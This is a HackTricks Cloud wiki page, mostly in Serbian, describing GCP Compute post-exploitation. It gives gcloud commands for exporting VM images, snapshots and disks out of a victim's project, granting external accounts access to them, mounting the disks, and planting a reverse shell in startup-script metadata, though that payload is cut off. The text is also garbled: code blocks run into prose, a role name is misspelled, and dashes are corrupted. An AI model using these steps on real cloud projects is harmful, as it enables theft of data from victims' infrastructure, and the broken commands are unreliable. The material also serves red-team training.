GCP - Compute Post Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Compute
Za više informacija o Compute i VPC (Networking) pogledajte:
Izvoz i inspekcija VM image-ova lokalno
Ovo bi attacker-u omogućilo da pristupi podacima sadržanim u već postojećim images ili kreira nove images pokretnih VMs i pristupi tim podacima bez direktnog pristupa pokrenutom VM-u.
Moguće je izvesti VM image u bucket, zatim ga preuzeti i montirati lokalno pomoću sledeće komande:
Izvoz i preuzimanje VM image-a
```bash gcloud compute images export --destination-uri gs://Pre izvođenja ove radnje napadaču mogu biti potrebne privilegije nad storage bucket-om i svakako privilegije nad cloudbuild jer je to service koji će biti zatražen da izvrši export
Pored toga, da bi ovo radilo codebuild SA i compute SA trebaju privilegovana ovlašćenja.
The cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com needs:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
And the SA <project-id>-compute@developer.gserviceaccount.com needs:
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Izvoz i pregled snapshot-ova i diskova lokalno
Nije moguće direktno izvesti snapshot-ove i diskove, ali je moguće transformisati snapshot u disk, disk u image i prateći prethodni odeljak, izvesti tu image da bi se pregledala lokalno
Kreiraj disk iz snapshot-a i image iz diska
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]
</details>
### Pregled Image-a kreiranjem VM-a
Sa ciljem pristupa **podatcima sačuvanim u image-u** ili unutar **pokrenutog VM-a** sa kojeg je napadač **kreirao image,** moguće je dodeliti eksternom nalogu pristup tom image-u:
<details>
<summary>Dodeli pristup image-u i kreiraj VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
a zatim kreirajte novu VM instancu iz nje:
Kreirajte VM instancu iz image-a
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Ako niste mogli dati spoljnom nalogu pristup preko image-a, možete pokrenuti VM koristeći taj image u žrtvinom projektu i naterati metadata da izvrši reverse shell kako biste pristupili image-u dodavanjem parametra:
Create VM with reverse shell in metadata
```bash --metadata startup-script='#! /bin/bash echo "hello";Pregled Snapshot/Disk priključivanjem na VM
Sa ciljem pristupa podacima pohranjenim na disk ili snapshot, možete transformisati snapshot u disk, disk u image i pratiti prethodne korake.
Ili možete dodeliti eksternom nalogu pristup nad diskom (ako je početna tačka snapshot, dajte pristup snapshot-u ili napravite disk iz njega):
Dodeli pristup disku
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Prikači disk na instancu:
Prikači disk na instancu
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Montirajte disk u VM-u:
- SSH u VM:
SSH u VM i montirajte disk
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identifikujte disk: Kada ste u VM-u, identifikujte novi disk listanjem disk uređaja. Obično ga možete pronaći kao
/dev/sdb,/dev/sdc, itd. - Formatirajte i montirajte disk (ako je nov ili sirovi disk):
- Napravite tačku za montiranje:
Napravite tačku za montiranje i montirajte
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Montirajte disk:
Montirajte disk uređaj
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Ako ne možete dati pristup eksternom projektu snapshotu ili disku, možda ćete morati pizvršiti ove radnje unutar instance u istom projektu kao snapshot/disk.
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

